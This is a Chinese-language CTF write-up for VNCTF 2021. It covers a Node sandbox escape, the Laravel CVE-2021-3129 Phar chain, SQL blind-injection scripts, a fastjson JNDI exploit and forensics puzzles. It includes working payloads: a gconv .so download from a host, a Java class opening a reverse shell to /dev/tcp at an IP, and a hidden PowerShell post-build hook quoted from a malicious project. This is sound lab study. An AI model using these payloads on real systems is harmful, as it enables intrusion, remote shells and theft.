VNCTF 2021
Ez_game
审计一下游戏的 js 代码。发现作为最终关卡的 boss 继承了 Kill 的方法。
Kill()
{
super.Kill();
if (this.type)
{
boss = 0;
if (isFinalLevel)
{
// player win
new Pickup(this.pos, 2);
SpawnPickups(this.pos,1,40);
winTimer.Set();
localStorage.kbap_warp=0;
localStorage.kbap_won=1;
speedRunTime=speedRunTime|0;
if (speedRunMode && (!speedRunBestTime || speedRunTime < speedRunBestTime))
{
// track best speed run time
speedRunBestTime = speedRunTime;
localStorage.kbap_bestTime=speedRunBestTime;
}
PlaySound(2);
}
}
}
同时又有如下代码。
// debug key N to load next level
if (debug && KeyWasPressed(78))
loadNextLevel = 1;
nextLevel = (nextLevel+1)%11
很容易看出总共有 10 关,因此在 Console 中令 debug=1
后直接一直按 N 跳到第十关,再执行 boss.Kill()
即可杀死最终 boss 获得 flag。
flag{this_game_is_funny!}
naive
文件读取
源代码页面审计到如下路由。
app.use("/source", (req, res) => {
let p = req.query.path || file;
p = path.resolve(path.dirname(file), p);
if (p.includes("flag")) {
res.send("no flag!");
} else {
res.sendFile(p);
}
});
尝试利用这个路由读取一些文件。使用 .../source?path=/etc/passwd
可以读到对应的文件,注意到下面两行,这说明很可能没有 bash。
node:x:1000:1000:Linux User,,,:/home/node:/bin/sh
ctf:x:1001:1001:Linux User,,,:/home/ctf:/bin/ash
使用 .../source?path=/proc/self/cwd/package.json
可以读到如下内容。
{
"name": "name",
"version": "0.1.1",
"description": "Description",
"private": true,
"main": "src/index.js",
"type": "module",
"scripts": {
"start": "node src/index.js",
"build:native": "node-gyp rebuild",
"build:native:dev": "node-gyp rebuild --debug"
},
"dependencies": {
"bindings": "^1.5.0",
"express": "^4.17.1",
"expression-eval": "^4.0.0",
"node-addon-api": "^3.0.2",
"seval": "^2.0.1"
},
"devDependencies": {
"@types/express": "^4.17.8",
"@types/node": "^14.10.1",
"node-gyp": "^7.1.2",
"prettier": "^2.0.5"
}
}
结合源码中的 addon,bindings 和这里的 node-gyp
可以知道这题很可能涉及到 C++ 写的 NodeJS 模块。
参考文章:https://segmentfault.com/a/1190000016565228?utm_source=tag-newest
结合文章中的描述可以得知存在 binding.gyp 文件和编译之后的 addon.node 文件于 .../build/Release/
下。使用一样的方法将其读取出来可以得到一个二进制文件。
二进制文件分析
再看源码,可以发现如下验证逻辑。
app.use("/eval", (req, res) => {
const e = req.body.e;
const code = req.body.code;
if (!e || !code) {
res.send("wrong?");
return;
}
try {
if (addon.verify(code)) {
res.send(String(eval_(parse(e))));
} else {
res.send("wrong?");
}
} catch (e) {
console.log(e)
res.send("wrong?");
}
});
只有想办法拿到 verify(code)
中正确的 code
才有可能 RCE,于是就要分析之前得到的二进制文件。这里拜托逆向大佬 @usher 对文件进行了动态调试,成功拿到了对应的字符串 yoshino-s_want_a_gf,qq1735439536
。
expression-eval eval
根据读到的文件可以知道作者使用了 "seval": "^2.0.1"
这个包,使用 NPM 查询可以找到这个包的源码。(虽然不知道到底在哪里用到了)
GitHub Repo: https://github.com/tritiumNetworks/SafeEval
稍微测试一下可以发现使用 (1)["constructor"]["constructor"]
可以导出一个 Function。此时就可以使用这个位置来进行指令执行了。构造出如下 payload 发现可以成功利用并弹出计算器。
const pkg = require("expression-eval")
const ast = pkg.parse('(1)["constructor"]["constructor"]("console.log(global.process.mainModule.constructor._load(\'child_process\').exec(\'calc\'))")()');
pkg.eval(ast);
但是在靶机环境中经过测试可以发现 require
和 global.process.mainModule
都是 undefined。因此无法通过导出 mainModule
的方式来达成指令执行。探索之后可以发现利用 global.process.binding()
可以导出任意存在的模块。
参考文章:https://tipi-hack.github.io/2019/04/14/breizh-jail-calc2.html
尝试导出一个 fs 模块并利用其 readFileSync
的方法来读取文件,但是并没有成功。仅仅使用如下 payload 读到了根目录。
var a = this.constructor.constructor('return this.process.binding')()('fs').readdir('/', {}, "","", function (err, data) {data});
a;
e=(1)["constructor"]["constructor"]("return+String(eval(String.fromCharCode(118,97,114,32,97,32,61,32,116,104,105,115,46,99,111,110,115,116,114,117,99,116,111,114,46,99,111,110,115,116,114,117,99,116,111,114,40,39,114,101,116,117,114,110,32,116,104,105,115,46,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,39,41,40,41,40,39,102,115,39,41,46,114,101,97,100,100,105,114,40,39,47,39,44,32,123,125,44,32,34,34,44,34,34,44,32,102,117,110,99,116,105,111,110,32,40,101,114,114,44,32,100,97,116,97,41,32,123,100,97,116,97,125,41,59,10,97,59)))")()&code=yoshino-s_want_a_gf%2Cqq1735439536
.dockerenv,app,bin,dev,docker-entrypoint,etc,flag,home,lib,media,mnt,opt,proc,root,run,sbin,srv,sys,tmp,usr,var
看题解学到了可以使用 import()
来引入模块,于是可以构造出如下 payload。
(1)["constructor"]["constructor"]('return+import("fs").then(fs=>{fs.copyFileSync("/flag","/tmp/tmpf1ag");})')()
使用 fs.copyFileSync()
将 flag 拷贝到 /tmp
目录下,从而使用第一步的文件读取操作读取到 flag。
flag{74840aad-bd02-4946-b8fc-23ef08db0cd8}
Easy_laravel
简单的漏洞复现
CVE-2021-3129
关键点在于 Controller 会调用到的 run()
方法。当走到 makeOptional()
方法的时候会触发到 file_get_contents()
,此时便可以借助他去触发 Phar 反序列化。与此同时,传入的参数会出现在 log 中。配合 filter 的操作可以将 log 文件变成合法的 Phar 文件。
Phar 反序列化链子
简单搜索可以发现 MockClass.php 下出现了一个 eval
。只需要控制 $this->mockName
为不存在的类并在 $this->classCode
中填充欲执行代码即可。
namespace PHPUnit\Framework\MockObject {
final class MockClass
{
private $classCode;
private $mockName;
public function __construct()
{
$this->classCode = "phpinfo(); eval(filter_input(INPUT_GET,\"h3x\")); echo 'See you in the Unserialize!';";
$this->mockName = "undefinedMock";
}
}
}
接着找一下可能触发上述 eval
的函数。可以在 HigherOrderMessage.php 下找到如下 __call()
魔法函数。此时控制 $this->mock
为一个 MockClass 对象,$this->method
为 generate 即可触发到上述 eval()
。
namespace Mockery {
class HigherOrderMessage
{
private $mock;
private $method;
public function __construct($mock)
{
$this->mock = $mock;
$this->method = "generate";
}
}
}
同时使用如下位于 ImportConfigurator.php 的析构函数可以轻松触发到上述的 __call()
方法,只需要 $this->parent
为 HigherOrderMessage 对象,此时其类下不存在 addCollection()
方法,即可触发到 __call()
。
namespace Symfony\Component\Routing\Loader\Configurator {
class ImportConfigurator
{
private $parent;
private $route;
public function __construct($parent)
{
$this->parent = $parent;
$this->route = "undefinedRoute";
}
}
}
找到了完整的反序列化链子,接下来只需要构造链子并打包成 Phar 就行。
namespace MakePhar {
use Mockery\HigherOrderMessage;
use Phar;
use PHPUnit\Framework\MockObject\MockClass;
use Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
function MakePhar()
{
$mockClass = new MockClass();
$higherOrderMessage = new HigherOrderMessage($mockClass);
$importConfigurator = new ImportConfigurator($higherOrderMessage);
$phar = new Phar("triggerLog1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($importConfigurator);
$phar->addFromString("exp.txt", "actuallyNothingHere");
$phar->stopBuffering();
}
}
namespace {
use function MakePhar\MakePhar;
MakePhar();
}
发射载荷
按照参考文章中的说法,需要先将 Phar 包转换成特定的格式,写一段脚本来达成这个目的。
function TransferEncodePhar($file){
$raw = base64_encode(file_get_contents($file));
$result = array();
for($i = 0; $i < strlen($raw); $i++){
$result[$i] = "=" . strtoupper(dechex(ord($raw[$i]))) . "=00";
}
return implode($result);
}
按照参考文章的姿势将 Phar 包传上去触发。此时即可得到一个一次可用的 eval()
。此时将 Phar 包保存起来生成新的 Phar 包,在新的包中写指令将原本的 Phar 包写入新的 log 文件。
$triggerPhar1 = base64_encode(file_get_contents("./triggerLog.phar"));
$this->classCode = "phpinfo(); echo 'See you in the Unserialize!'; file_put_contents('/var/www/html/storage/logs/h3x.log',base64_decode('{$triggerPhar1}'));";
将新的 Phar 包以一样的套路上传,便获得了一个可多次执行的 eval()
,此处为 h3x.log
。
伪协议 convert.iconv 触发
编写 payload.c 如下。
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
system("/readflag>/tmp/flag");
}
使用 gcc payload.c -o payload.so -shared -fPIC
编译出 payload.so。
构造 gconv-modules 如下。
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2
将二者上传到服务器上获取直链,然后在上一步获取的 eval
处将内容下载到靶机上。
.../execute-solution?h3x=file_put_contents("/tmp/payload.so",file_get_contents("http://YOUR_HOST/payload.so"));
完成这一步之后使用 var_dump(scanfir("/tmp"));
应该可以得到如下结果。
array(4) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(13) "gconv-modules"
[3]=>
string(10) "payload.so"
}
此时即可使用如下 payload 获取 flag。(这一步比较看运气感觉,多发亿包就能触发成功了 x)
.../execute-solution?h3x=putenv("GCONV_PATH=/tmp/");file_put_contents("php://filter/write=convert.iconv.payload.utf-8/resource=/tmp/122","Hello!!!!!!!!!!!");
.../execute-solution?h3x=readfile("/tmp/flag");
flag{94a14bb8-a049-43e1-af25-250d51fdae1b}
realezjvav
SQL 盲注
笛卡尔积延时注入
朴实无华的登录界面,使用笛卡尔积注入试探可以发现差别。
password=a'/**/and(select/**/if((1=1),(select/**/count(*)/**/from/**/information_schema.tables/**/A,information_schema.tables/**/B,information_schema.tables/**/C),1))#&username=admin
password=a'/**/and(select/**/if((1=0),(select/**/count(*)/**/from/**/information_schema.tables/**/A,information_schema.tables/**/B,information_schema.tables/**/C),1))#&username=admin
如上的两个载荷在响应时间上出现了比较稳定的一秒钟左右的偏差,判断存在 SQL 注入。不过相差时间太短,将其中一个改作 information_schema.columns
来延长一点时间,写一个脚本来爆出所需内容。
import time
import requests
ENV = ".../user/login"
SESSION = requests.session()
def main():
timeSpan = 2
result = ""
for i in range(1, 200):
low = 32
high = 128
while low < high:
mid = int((low + high) / 2)
content = "select/**/database()"
sql = f"null'/**/and(select/**/if((ascii(substr(({content}),{i},1))<{mid}),(select/**/count(" \
f"*)/**/from/**/information_schema.tables/**/A,information_schema.tables/**/B," \
f"information_schema.columns/**/C),1))# "
param = {
"password": sql,
"username": "admin"
}
startTime = time.time()
print("[+] POST startTime: {}".format(startTime))
SESSION.post(url=ENV, data=param)
endTime = time.time()
print("[+] POST endTime: {}".format(endTime))
if endTime - startTime > timeSpan:
high = mid
else:
low = mid + 1
print("[+] After changing we got {} to {}".format(low, high))
print("[+] Now has {}".format(i))
result += chr(int((high + low - 1) / 2))
print("[*] Result now is: {}".format(result))
if __name__ == '__main__':
main()
创造条件的布尔盲注
通过尝试发现,当 SQL 语句报错的时候页面也会报 500 的错误,因此可以手动构造一个语句令结果为真或假时报错。这里以 cot(0)
为例子。
mysql> select if(1=1,cot(0),0) ;
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
mysql> select if(1=0,cot(0),0) ;
+------------------+
| if(1=0,cot(0),0) |
+------------------+
| 0 |
+------------------+
1 row in set (0.00 sec)
利用这个特性可以人为地将真或假区分开来,从而实现 SQL 注入。同理,使用 exp(9999999999,9999999999)
这样的表达式也能实现相同效果。
import requests
ENV = ".../user/login"
SESSION = requests.session()
def main():
result = ""
for i in range(1, 200):
low = 32
high = 128
while low < high:
mid = int((low + high) / 2)
# content = "select/**/database()" #ctf
# content = "select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()" #user
# content = "select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()" #id,username,password
content = "select/**/group_concat(password)/**/from/**/user" #no_0ne_kn0w_th1s
sql = f"null' or if((ascii(substr(({content}),{i},1))<{mid}),1,cot(0))#"
param = {
"password": sql,
"username": "admin"
}
response = SESSION.post(url=ENV, data=param)
if response.status_code == 200:
high = mid
else:
low = mid + 1
print("[+] After changing we got {} to {}".format(low, high))
if low == high == 32:
print("[*] Result is: {}".format(result))
break
print("[+] Now has {}".format(i))
result += chr(int((high + low - 1) / 2))
print("[*] Result now is: {}".format(result))
if __name__ == '__main__':
main()
最终可以得到登录密码为 no_0ne_kn0w_th1s
。
文件读取
登录 admin 之后可以来到选头像的页面,在页面源码里可以发现如下内容。
$("#roleImg").html('<img style="width:180px;height:180px" src="/searchimage?img='+resObj.number +'.png"/>')z
尝试对这个路由使用目录穿越读取文件的套路,可以读取到 pom.xml。
/searchimage?img=../../../../../pom.xml
在 pom.xml 种可以发现如下关键依赖,版本为 1.2.27 < 1.2.47。于是考虑使用 fastjson 进行 RCE。
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.27</version>
</dependency>
fastjson exploit
按网站的业务逻辑操作一次可以发现 .../create
路由传入的是 json,于是尝试将其作为利用点。
使用常用的 payload 打一发,可以发现需要 bypass。
尝试将 payload 的一部分字符使用 Unicode 编码以绕过关键字的过滤。得到如下的 payload。
{"\u006E\u0061\u006D\u0065":{"\u0040\u0074\u0079\u0070\u0065":"\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0043\u006C\u0061\u0073\u0073","\u0076\u0061\u006C":"\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C","dataSourceName":"\u006C\u0064\u0061\u0070\u003A\u002F\u002F\u0038\u002E\u0031\u0033\u0036\u002E\u0038\u002E\u0032\u0031\u0030\u003A\u0031\u0033\u0038\u0039\u002F\u0045\u0078\u0070\u006C\u006F\u0069\u0074","\u0061\u0075\u0074\u006F\u0043\u006F\u006D\u006D\u0069\u0074":true}}
在服务器上编译好如下 Exploit。
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/8.136.8.210/3255 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
再开启 HTTP Server 和 LDAP Server,同时使用一个 Netcat 监听反弹回来的 shell。此时将构造好的 payload 请求发送出去,即可在 Netcat 监听处获得 shell。cat /flag_no_one_know_abccba.txt
即可得 flag。
flag{20761f89-9ed6-444a-b4ba-2c717ca99e23}
使用如下的 payload 亦可达成目的。
{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C","dataSourceName":"\u006C\u0064\u0061\u0070\u003A\u002F\u002F\u0038\u002E\u0031\u0033\u0036\u002E\u0038\u002E\u0032\u0031\u0030\u003A\u0031\u0033\u0038\u0039\u002F\u0045\u0078\u0070\u006C\u006F\u0069\u0074","\u0061\u0075\u0074\u006F\u0043\u006F\u006D\u006D\u0069\u0074":true}
相关部分的源码如下。
/* IndexController.java */
package com.example.springbootdemo.controller;
import com.alibaba.fastjson.JSONObject;
import com.example.springbootdemo.Util.FileUtil;
import com.example.springbootdemo.entity.Sorcerer;
import org.springframework.http.MediaType;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.*;
import javax.imageio.ImageIO;
import java.awt.image.BufferedImage;
import java.io.*;
import java.util.Base64;
/*
* @author no_one_know
*/
@Controller
public class IndexController {
@RequestMapping("/index")
public String sayHello() {
return "index";
}
/*
*@param img
* */
@ResponseBody
@GetMapping(value = "/searchimage", produces = MediaType.IMAGE_PNG_VALUE)
public byte[] t2(@RequestParam String img , Model model) throws IOException {
String path = img.trim();
File file = new File("/usr/local/springbootdemo/src/main/resources/static/images/"+img);
FileInputStream inputStream = new FileInputStream(file);
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes, 0, inputStream.available());
return bytes;
}
/*
* @param roleJson
* @return number roleText
* */
@PostMapping("/create")
@ResponseBody
public Sorcerer fast(@RequestParam String roleJson , Model model) {
//System.out.println(roleJson);
//blacklist
String check = roleJson.toLowerCase();
if ( check.contains("com") || check.contains("@") || check.contains("type") ){
roleJson = "{\"name\":\"Hacker\"}";
}
JSONObject jsonObject = JSONObject.parseObject(roleJson);
String name = jsonObject.getString("name");
Sorcerer res = new Sorcerer();
if(name==null){
name = "";
}
Sorcerer s = new Sorcerer();
s.setName(name);
s.setNumber(name);
return s;
}
}
冰冰好像藏着秘密
解压附件得到 FFT.png 文件(可能是下得太快了,下下来的时候是个 zip 文件,而且没有损坏。但是当时的图片里没得 flag,我还一度以为我傅里叶变换做错了。结果复现发现是附件变换过了。)CyberChef 直接对 RAR 压缩文档提取文件,得到一张图片。
从网上找到的现成的代码如下。
import cv2
import numpy as np
import matplotlib.pyplot as plt
plt.figure(figsize=(6.4*5, 3*5), constrained_layout=False)
img_c1 = cv2.imread("extracted_at_0x47.png", 0)
img_c2 = np.fft.fft2(img_c1)
img_c3 = np.fft.fftshift(img_c2)
img_c4 = np.fft.ifftshift(img_c3)
img_c5 = np.fft.ifft2(img_c4)
plt.subplot(151), plt.imshow(img_c1, "gray"), plt.title("Original Image")
plt.subplot(152), plt.imshow(np.log(1+np.abs(img_c2)), "gray"), plt.title("Spectrum")
plt.subplot(153), plt.imshow(np.log(1+np.abs(img_c3)), "gray"), plt.title("Centered Spectrum")
plt.subplot(154), plt.imshow(np.log(1+np.abs(img_c4)), "gray"), plt.title("Decentralized")
plt.subplot(155), plt.imshow(np.abs(img_c5), "gray"), plt.title("Processed Image")
plt.show()
从图中可以看出 flag。
VNCTF{Ff5_1S_bEauTiful}
interesting_fishing
下载附件后使用 010 editor 打开可以发现是一个邮件文件,继而可以找到其中保存的 base64 形式的附件。将附件使用 CyberChef 解码并保存下来,得到 myproject.rar 文件。
将压缩文件解压可以得到一个项目,在其 VS 配置文件中可以发现如下内容。
<PostBuildEvent>
<Command>powershell -exec bypass -w hi"dd"en -f x64\Debug\Browse.VC.db</Command>
</PostBuildEvent>
在压缩文件中对应路径下可以找到对应的 Browse.VC.db
文件,可以在压缩文件中直接打开,发现其中有如下内容。
$encodestring = "XAB1AC0ANgA1ADQAMwAyAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQANwA4AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQAMQA4AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMwA0AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA1AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAAzAD8AXAB1AC0ANgA1ADQAOAAxAD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAOAAyAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA1AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAwAD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMgAzAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMQA5AD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQANQA2AD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMQA3AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwA0AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANQA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMwAyAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANgAxAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANgA5AD8AXAB1AC0ANgA1ADQANQA3AD8AXAB1AC0ANgA1ADQANQAwAD8AXAB1AC0ANgA1ADQANgAzAD8AXAB1AC0ANgA1ADQANgA4AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQANwA5AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgAyAD8A"
$bytes = [System.Convert]::FromBase64String($string);
$decoded = [System.Text.Encoding]::UTF8.GetString($bytes);
echo $decoded
使用 base64 解码后可得到格式类似于 .u.-.6.5.4.3.2.?.
的数据,推测其有点像 Unicode 字符编码,但是其为负数。写个脚本将其与 0xffff 做差得到正数。
var numbers = [-65432,-65420,-65420,-65424,-65421,-65478,-65489,-65489,-65418,-65426,-65437,-65420,-65434,-65491,-65486,-65487,-65485,-65491,-65487,-65486,-65483,-65481,-65488,-65482,-65487,-65487,-65486,-65485,-65490,-65437,-65425,-65421,-65490,-65439,-65424,-65491,-65426,-65439,-65426,-65430,-65431,-65426,-65433,-65490,-65427,-65415,-65423,-65437,-65428,-65425,-65419,-65436,-65490,-65437,-65425,-65427,-65489,-65456,-65415,-65425,-65426,-65433,-65415,-65439,-65426,-65433,-65499,-65486,-65488,-65421,-65420,-65425,-65422,-65435,-65421,-65499,-65486,-65488,-65428,-65425,-65417,-65499,-65486,-65488,-65425,-65426,-65499,-65486,-65488,-65434,-65425,-65422,-65435,-65431,-65433,-65426,-65499,-65486,-65488,-65433,-65425,-65425,-65436,-65421,-65499,-65486,-65488,-65439,-65427,-65431,-65436,-65499,-65486,-65488,-65458,-65425,-65422,-65420,-65432,-65499,-65486,-65488,-65461,-65425,-65422,-65435,-65439,-65426,-65499,-65486,-65488,-65469,-65457,-65450,-65463,-65468,-65491,-65487,-65479,-65499,-65486,-65488,-65424,-65439,-65422,-65439,-65426,-65425,-65431,-65439,-65490,-65422,-65439,-65422];
var result = ""; numbers.forEach(function(number){ result += "," + (0xffff + number + 1) });
result;
解码后可以得到如下内容。
https://vnctf-213-1257061123.cos.ap-nanjing.myqcloud.com/Pyongyang%20stores%20low%20on%20foreign%20goods%20amid%20North%20Korean%20COVID-19%20paranoia.rar
将文件下载下来,发现需要解压密码,ARCHPR 爆破无果但给出的提示确实是四位数字。
maskcode
The password is: four digits
因此尝试使用 rar2john 先得到密码的 hash,再使用 hashcat 爆破。
lenovo@LAPTOP-3E49IU3M>F:\..\..\..\..\run$.\rar2john '..\..\interesting_fishing\Pyongyang stores low on foreign goods amid North Korean COVID-19 paranoia.rar'
..\..\interesting_fishing\Pyongyang stores low on foreign goods amid North Korean COVID-19 paranoia.rar:$rar5$16$1349cb834c70bf27bb4e48bb3fbe6975$15$ca4a3bc58278b04d9fba4d7d52acb196$8$56245cd11e4a1c2e
.\hashcat64.exe -m 13000 -a 3 '$rar5$16$1349cb834c70bf27bb4e48bb3fbe6975$15$ca4a3bc58278b04d9fba4d7d52acb196$8$56245cd11e4a1c2e' ?d?d?d?d
$rar5$16$1349cb834c70bf27bb4e48bb3fbe6975$15$ca4a3bc58278b04d9fba4d7d52acb196$8$56245cd11e4a1c2e:9705
Session..........: hashcat
Status...........: Cracked
Hash.Type........: RAR5
Hash.Target......: $rar5$16$1349cb834c70bf27bb4e48bb3fbe6975$15$ca4a3b...4a1c2e
Time.Started.....: Mon Mar 15 18:10:13 2021 (2 secs)
Time.Estimated...: Mon Mar 15 18:10:15 2021 (0 secs)
Guess.Mask.......: ?d?d?d?d [4]
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 2520 H/s (0.09ms) @ Accel:64 Loops:16 Thr:256 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 5000/10000 (50.00%)
Rejected.........: 0/5000 (0.00%)
Restore.Point....: 0/1000 (0.00%)
Candidates.#1....: 9234 -> 9764
HWMon.Dev.#1.....: Temp: 51c Util: 54% Core:1920MHz Mem:4001MHz Bus:16
Started: Mon Mar 15 18:09:57 2021
Stopped: Mon Mar 15 18:10:16 2021
很快拿到了压缩包的密码 9705。解压压缩包得到一个 Word 文档,将 Word 文档再次解包可得 hideinfo.xml。使用 010 Editor 将其打开可以发现一些奇怪的字符。
尝试零宽字符隐写可得如下内容。
vnctf{APT_1S_c0M1nG
